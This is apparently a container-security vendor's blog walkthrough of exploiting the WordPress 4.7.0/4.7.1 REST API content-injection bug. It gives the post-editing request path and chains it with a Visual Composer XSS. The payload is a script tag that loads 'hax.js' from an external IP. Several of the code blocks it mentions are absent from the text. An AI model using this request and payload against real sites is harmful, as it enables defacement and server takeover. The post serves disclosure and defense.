Quick Take: 4.7.0/4.7.1 Unauthenticated Content Injection Key Data Points
-Wordpress Security Risk: Severe
-Exploitation Level: Easy/Remote
-Patched Version: 4.7.2
-Vulnerability: Privilege Escalation / Content Injection – can lead to Remote Code Execution
About the WordPress 4.7.0/4.7.1 Vulnerability
A few months ago a severe vulnerability was found in the new WordPress Rest API that was introduced in version 4.7.0, the vulnerability was discovered originally by a security researcher from Securi. You can view their technical analysis over here.
The vulnerability affects versions 4.7.0 to 4.7.1 and is classified as a severe risk. This post will explore how it can be used in order to gain code execution on default installations of WordPress without the need of any third party plugins aside from those that are installed by default.
Exploitation and how Twistlock Responds to the WordPress 4.7.0/4.7.1 Vulnerability
Our journey begins in the new REST API. One of these REST endpoints gives access to view, edit, delete and create posts. Within this particular endpoint, a subtle bug allows visitors to edit any post on the site.
This vulnerability is extremely easy to exploit, all the attacker needs to do is send a POST request to the API such as
/wp-json/wp/v2/posts/1?id=5A in order to modify post whose id equals 5.
For example this code will change the post’s title:
But changing the post and defacing the website is not profitable for the attacker, so we need to scale this thing up by finding a valuable entry point
Visual Composer to the rescue!
Visual Composer is an extremely popular plugin for wordpress, with over 2.2 Million sites using it and more than 40% of the themes that are sold on ThemeForest are shipped with it.
Visual Composer allows the website owner to visually compose his wordpress website by simply dragging elements similarly to how Wix works.
We can now test our XSS payload by modifying our targeted post to include the above shortcode:
And the result from executing the above code:
We confirmed that our XSS works!
Now we can move forward and own the server completely.
Let’s not forget to encode our payload first to html and then to base64
So from <script src=’http://126.96.36.199/hax.js‘></script> we will end up with
and our final exploit will be:
From here the web server is practically owned by the attacker and a savvy attacker won’t stop here.He will establish persistence and will propagate through your server to other machines on the network. It would be especially easy in case your WordPress is not isolated, as it usually happens in case of a containerized environment where communication on the default interface is not blocked.
One of Twistlock’s defense layers is Runtime Radar, which is capable of detecting anomalous container behavior based on data feeds and live analysis of system calls, file system activities, networking and active processes.
In Twistlock 2.1, we’ll be announcing another layer of protection against attacks like this, so stay tuned to our blog and Twitter account to get the latest container security and cloud native news.
Follow us on Twitter
Keep up to date with the latest news from TwistlockLabs and TwistlockTeam.
Cryptomining Malware Emerges
I have been watching for the spread of malware that, primarily, uses c...
Calling the Twistlock API from PowerShell
The Problem This morning, a colleague was looking for situations where...
What Makes Distributed Security ‘Cloud Native’: Podcast Overview
I caught up with Scott Fulton III on this edition of The New Stack Mak...
Reflections on the 20th Anniversary of Open Source Technology
Exactly twenty years ago in February 1998, the term “open source” ...
Enhanced Syslog Data Streams: 2.3 Deep Dive
In each of our Twistlock releases, we publish some truly remarkable fe...